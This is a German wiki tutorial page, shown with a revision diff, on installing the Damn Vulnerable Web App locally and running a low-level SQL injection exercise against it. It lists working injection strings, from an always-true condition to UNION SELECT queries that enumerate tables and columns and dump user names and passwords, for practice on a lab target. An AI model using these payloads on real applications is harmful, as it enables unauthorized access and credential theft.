Apache / Php / Mysql: Unterschied zwischen den Versionen
Tina (Diskussion | Beiträge) |
Tina (Diskussion | Beiträge) |
||
| Zeile 64: | Zeile 64: | ||
Ausgabe von ID, Vorname und Nachname | Ausgabe von ID, Vorname und Nachname | ||
| + | |||
| + | SQL Abfrage auf der Datenbank: | ||
| + | SELECT first_name, last_name FROM users WHERE user_id = '1' | ||
| + | |||
| + | Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird. | ||
| + | |||
*Eingabe von %' or '0'='0 in Textbox | *Eingabe von %' or '0'='0 in Textbox | ||
-> Augabe aller User | -> Augabe aller User | ||
Version vom 13. November 2017, 15:15 Uhr
DVWA - Damn Vulnerable Web App
Voraussetzungen
- Apache, Mysql, installiert
apt-get install apache2 mysql-server
- php < 7.0 muss installiert sein
Ubuntu 16.04: sudo add-apt-repository ppa:ondrej/php apt-get update apt-get install php5.6 php5.6-mysql php5.6-gd php -v
Installation DVWA
- Nach dem Download Entpacken und Verschieben ins DocumentRoot
unzip DVWA-master.zip mv DVWA-master /var/www/html/dvwa
- cd /var/www/html/dvwa/
- cp config/config.inc.php.dist config/config.inc.php
- vi config
- Anpassen der Konfiguration dvwa:
vi config/config.inc.php: $_DVWA[ 'db_password' ] = 'das_vergebene_passwort';
Falls das Insecure Captcha Modul benutzt werden soll: $_DVWA[ 'recaptcha_public_key = $_DVWA[ 'recaptcha_private_key =
Die Werte für die beiden Optionen müssen zuerst generiert werden (ein google Account ist Voraussetzung): https://www.google.com/recaptcha/admin/create
- Anpassen der php Konfiguration:
vi /etc/php/5.6/apache2/php.ini allow_url_include = on allow_url_fopen = on safe_mode = off magic_quotes_gpc = off (fuer php <= 5.4)
service apache2 restart
- Anpassen der Verzeichnisrechte:
chown www-data hackable/uploads/ chown www-data external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
- Anpassen der .htaccess Datei
vi .htaccess
<IfModule mod_php5.c> php_flag magic_quotes_gpc Off #php_flag allow_url_fopen on #php_flag allow_url_include on </IfModule>
ersetzen durch:
<IfModule mod_php5.c> magic_quotes_gpc = Off allow_url_fopen = On allow_url_include = On </IfModule>
- Aufruf von http://127.0.0.1/dvwa/setup.php - Create / Reset Database
- Einloggen mit Default Zugangsdaten
Username: admin Passwort: password
Direkt nach der Installation ist die Anwendung 'sicher' eingestellt. Das Sicherheitslevel kann unter DVWA Security angepasst werden.
SQL Injection mit DVWA
- Sicherheitslevel low
- SQL Injection aufrufen und in Textbox '1' eingeben::
Ausgabe von ID, Vorname und Nachname
SQL Abfrage auf der Datenbank:
SELECT first_name, last_name FROM users WHERE user_id = '1'
Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.
- Eingabe von %' or '0'='0 in Textbox
-> Augabe aller User
- Eingabe von %' or 0=0 union select null, version() # in Textbox
-> Ausgabe der Version ganz unten
- Eingabe von %' or 0=0 union select null, user() # in Textbox
-> Ausgabe des Db Benutzers der die Abfragen durchführt
- Eingabe von %' or 0=0 union select null, database() # in Textbox
-> Ausgabe der aktuellen Datenbank
- Eingabe von %' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' # in Textbox
-> Ausgabe aller Tabellen die mit user beginnen
- %' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
-> Ausgabe aller Felder in der Tabelle users
0x0a: Zeilenumbruch
- %' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
-> Ausgabe der Benutzer und Passwoerter